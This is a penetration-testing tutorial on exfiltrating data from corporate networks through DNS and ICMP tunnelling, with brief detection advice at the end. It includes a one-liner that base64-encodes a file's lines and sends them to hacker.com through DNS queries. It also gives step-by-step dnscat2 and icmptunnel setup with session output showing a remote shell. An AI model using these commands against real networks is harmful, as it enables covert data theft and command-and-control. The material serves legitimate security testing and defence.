Data exfiltration, also called data extrusion, is the unauthorized transfer of data from a computer. These type of attacks against corporate network may be manual and carried out by someone with USB or it may be automated and carried out over a network. In this article, we will focus on a network based data exfiltration techniques that must be covered during penetration test.
As an adversary, we assume that we don’t have an valid domain credentials. Which means we are not able use company’s proxy in order to reach out side of the network. If we are not reaching out internet, we can’t exfiltrate sensitive information. Thus, tunnelling plays very important role.
Tunnelling is when instead of sending a packet directly through the network you send in inside another (often encrypted) connection by means of encapsulation. Since actual data is transmitted over network trough different protocol, it’s possible to reach internet.
Depending on type of used protocol, tunneling names may change. We will cover most populars. Leave a comment if you want to add more.
I would like to show very basic but important stuff before directly jump into the DNS tunneling.
➜ ~ cat /etc/resolv.conf|grep -v '#' domain acme.local nameserver 192.168.1.1 nameserver 192.168.1.2
First thing first, we must identify internal DNS server. It’s easy. Now it’s time to perform a number of test. We need to answer following question.
- Are we able to communicate with internal DNS ?
- Are we able to resolve internal domain trough company DNS ?
- Can we resolve external domain (e.g: pentest.club) via internal DNS ?
- Can we directly communicate with external DNS ?
➜ ~ nslookup acmebank.local Server: 192.168.1.1 Address: 192.168.1.1#53 Name: acmebank.local Address: 192.168.10.12 ➜ ~ nslookup google.com Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: Name: google.com Address: 22.214.171.124 ➜ ~ nslookup pentest.blog 126.96.36.199 Server: 188.8.131.52 Address: 184.108.40.206#53 Non-authoritative answer: Name: pentest.blog Address: 220.127.116.11 Name: pentest.blog Address: 18.104.22.168
First command shows we can resolve internal domain, second one shows we can resolve an external domain through company DNS server. This means we can perform DNS tunneling but I would like to call attention to the 3rd command. Most of the secure networks will not allow you to communicate with external DNS. If you are allowed to do it, this is an another security issue you must report!
How does DNS Tunneling Works ?
Although the graphics we have prepared specifically for this article are very descriptive, we will be describing each step individually.
- An adversary have an domain that under his control. Let’s say it’s hacker.com. Adversary sends a DNS request to the internal DNS server in order to resolve a hacker.com
- Authoritative DNS server for hacker.com is located somewhere else in internet. Thus, it redirects request to the root server through Firewall.
- After plenty number of redirects, a DNS request arrives an authoritative DNS server of hacker.com which is under the adversary’s controll.
- Since request is generated by adversery, it’s not important what is the response.
- Response arrives to the internal DNS server
- And finally, adversary receive an response.
This shows us how to communicate with an server that located at outside of the company network. So far so good but we just find a way to communicate with an external server. We did nothing about data exfiltration.
Let’s say we have an sensitive data like below.
➜ ~ cat sensitive.txt Alice Bob John
And we want to exfiltrate it trough secure network.
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
Above shell command read a file that contains sensitive information line by line. Then performs a base64 encoding on each line. And then use it as a subdomain during DNS query. Once the query arrive to the authoritative DNS server of hacker.com, we can track down a DNS logs, parse it and decode subdomains in order to find out corresponding sensitive data. This techniques works like a charm but it has following limitations.
- It’s a one way communication. We can’t send a command back from C2 ( authoritative DNS)
- Reading a file very easy. What we are going to do when we’re handling 100MB data ? DNS packages can arrive different order.
Thus, we need a tool that covers all issues. Luckly, we have a dnscat2
How to Configure and Use Dnscat2 ?
Dnscat2 provides client and server application. Following commands are necessary in order to built a DNS2 server.
~ git clone https://github.com/iagox86/dnscat2.git ~ cd dnscat2/server/ ~ gem install bundler ~ bundle install
For client who is located at company network.
root@pentest:~# git clone https://github.com/iagox86/dnscat2.git root@pentest:~# cd dnscat2/client/ root@pentest:dnscat2/client/# make
Now it’s time to start a Dnscat2 server.
root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online New window created: 0 dnscat2> New window created: crypto-debug Welcome to dnscat2! Some documentation may be out of date. auto_attach => false history_size (for new windows) => 1000 Security policy changed: All connections must be encrypted New window created: dns1 Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = opendns.online]... Assuming you have an authoritative DNS server, you can run the client anywhere with the following (--secret is optional): ./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online To talk directly to the server without a domain name, run: ./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3 Of course, you have to figure out <server> yourself! Clients will connect directly on UDP port 53.
opendns.online is a domain name under the adversary control. It’s very important to have an authoritative DNS server for a
Dnscat generates a secret key. In key will be used in “shared secret” manner for encrypted communication during tunneling. Beside that, dnscat offers two different client command. If you are able to send a DNS query to the external server, but don’t forget that most of the secure networks doesn’t allow anyone to use external DNS services.
Execute a following command on client site is as below.
root@pentest:/opt/dnscat2/client# ./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online Creating DNS driver: domain = opendns.online host = 0.0.0.0 port = 53 type = TXT,CNAME,MX server = 22.214.171.124 ** Peer verified with pre-shared secret! Session established!
You will see a “new window created” message on server once the session established.
dnscat2> New window created: 1 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!)
Let’s look at a DNS packages captured during that communication. Following screenshot shows that
126.96.36.199-client- send a CNAME resolve request to the internal DNS server
188.8.131.52 -internal DNS-
DNSCAT2 client send a several TXT resolve request to the server and then start encrypted communication through CNAMEs. From that point, an adversary can do almost everything through that tunnel.
dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a command session! That means you can enter a dnscat2 command such as 'ping'! For a full list of clients, try 'help'. command (pentest) 1> help Here is a list of commands (use -h on any of them for additional help): * clear * delay * download * echo * exec * help * listen * ping * quit * set * shell * shutdown * suspend * tunnels * unset * upload
ICMP tunneling works by injecting arbitrary data into an echo packet sent to a remote computer. The remote computer replies in the same manner, injecting an answer into another ICMP packet and sending it back.
Basically, we are sending an actual data at in inside ICMP. We just need a one thing before doing ICMP tunneling. Can I ping an external server ?
root@pentest:~# ping 184.108.40.206 -c 4 PING 220.127.116.11 (18.104.22.168) 56(84) bytes of data. 64 bytes from 22.214.171.124: icmp_seq=1 ttl=128 time=106 ms 64 bytes from 126.96.36.199: icmp_seq=2 ttl=128 time=110 ms 64 bytes from 188.8.131.52: icmp_seq=3 ttl=128 time=177 ms 64 bytes from 184.108.40.206: icmp_seq=4 ttl=128 time=111 ms --- 220.127.116.11 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3007ms rtt min/avg/max/mdev = 106.373/126.539/177.846/29.688 ms root@pentest:~#
1 – Clone this repository into the server and client using this command.
git clone https://github.com/DhavalKapil/icmptunnel
2 – Run
3 – On the server side run following command.
./icmptunnel -s 10.0.1.1
4 – On the client side, find out your gateway and the corresponding interface.
root@pentest:/opt/icmptunnel# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 18.104.22.168 0.0.0.0 UG 100 0 0 eth0 22.214.171.124 0.0.0.0 255.255.255.0 U 100 0 0 eth0
5 – Edit client.sh and replace <server> with the IP address of the server. <gateway> with gateway address obtained above and similarly for <interface>
6 – Run the tunnel on your client.
root@pentest:/opt/icmptunnel# ./icmptunnel -c IPADDRESS
It’s not easy to deal with these type of tunnelings attacks, especially DNS Tunneling. But following actions will help you to detect most used tools such as dnscat2 etc.
- Do not allow anyone from your network to send DNS request to the external server. Everyone must use your own DNS server.
- No one send TXT resolve request to the DNS, but dnscat2 and mail server/gateway. Thus whitelist your mail server/gateway and block TXT request from incoming and outgoing traffic.
- Block ICMP.
- Track down DNS query numbers by users. Generate notification if there is a someone who reach thresholds.